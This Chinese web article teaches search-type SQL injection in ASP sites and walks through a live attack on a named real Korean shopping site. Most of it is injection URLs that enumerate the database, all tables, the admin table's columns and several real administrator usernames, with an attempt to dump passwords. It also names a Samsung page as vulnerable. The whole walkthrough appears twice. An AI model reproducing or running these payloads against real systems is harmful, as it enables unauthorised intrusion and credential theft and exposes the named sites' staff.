ASP搜索型注入
网络安全 2021-07-03 09:19www.168986.cn网络安全知识
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count() from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_munity','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_remand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0 and '%'=' //依次类推,得到所有的表 其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level 列名暴完,暴管理员账号密码。 http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select 1 from(select 2 from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select 1 from(select 3 from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select 1 from(select 4 from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select 1 from(select 4 from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。 一会再想别的办法吧。。。。。
说下,2.3 的啊D支持搜索型的注入方式是 一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung../news/news.aspx?page=1&type=product&ST=title&SC=
构造注入语句 三星%'and 1=1 and '%'='
三星%'and 1=2 and '%'='
两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的 我一般搜索代码是
Select from 表名 where 字段 like ’%关键字%’
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造
关键字=’ and [查询条件] and ‘%’=’
这样查询就变成
select from 表名 where 字段 like '%' and 1=1 and '%'='%'
这样就很好的构成了一个sql注入点,用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
《sql注入天书》的原话
第一节、SQL注入的一般步骤
,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为狼蚁网站SEO优化三种
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下
Select from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句
Select from 表名 where 字段=49 And [查询条件] (B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下
Select from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句
Select from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下
Select from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%’=’,即是生成语句
Select from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’ 手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写
http://notebook.samsung../news/news.aspx?page=1&type=product&ST=title&SC=%
再加个特征字符就可以了
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select count() from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_munity','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_remand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0 and '%'=' //依次类推,得到所有的表 其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level 列名暴完,暴管理员账号密码。 http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select 1 from(select 2 from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select 1 from(select 3 from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select 1 from(select 4 from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select c_employee_id from(select 1 from(select 4 from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong
http://.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。 一会再想别的办法吧。。。。。
说下,2.3 的啊D支持搜索型的注入方式是 一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung../news/news.aspx?page=1&type=product&ST=title&SC=
构造注入语句 三星%'and 1=1 and '%'='
三星%'and 1=2 and '%'='
两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的 我一般搜索代码是
Select from 表名 where 字段 like ’%关键字%’
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造
关键字=’ and [查询条件] and ‘%’=’
这样查询就变成
select from 表名 where 字段 like '%' and 1=1 and '%'='%'
这样就很好的构成了一个sql注入点,用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
《sql注入天书》的原话
第一节、SQL注入的一般步骤
,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为狼蚁网站SEO优化三种
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下
Select from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句
Select from 表名 where 字段=49 And [查询条件] (B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下
Select from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句
Select from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下
Select from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%’=’,即是生成语句
Select from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’ 手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写
http://notebook.samsung../news/news.aspx?page=1&type=product&ST=title&SC=%
再加个特征字符就可以了
上一篇:基于Windows入门级IDS构建过程详述
下一篇:看黑客是如何黑了落伍者的(图)
网络安全培训
- 网络安全带来的危害 网络安全的弊处
- 如何加强网络安全防范
- 网络安全防护知识内容摘要
- 什么网络安全指的是什么 网络安全指的是什么意
- 网络安全十大公司排名 网络安全十大公司排名绿
- 手机网络安全警示格言 手机网络安全警示教育片
- 网络安全培训心得体会 网络安全知识培训
- 如何树立正确的网络意识 怎么样正确对待网络
- 网络安全大赛是什么意思 网络安全大赛比赛规则
- 世界网络安全公司排名 世界十大网络安全上市公
- 网络安全注意事项知识 网络安全注意事项知识短
- 网络安全常识十条口诀 小学生安全十句话
- 网络安全等级保护三级 网络安全三级等保标准
- 如何增强网络安全防范意识 如何增强网络安全防
- 网络安全注意事项有哪些 网络安全应注意事项
- 网络安全培训感悟 网络安全培训后的收获和感想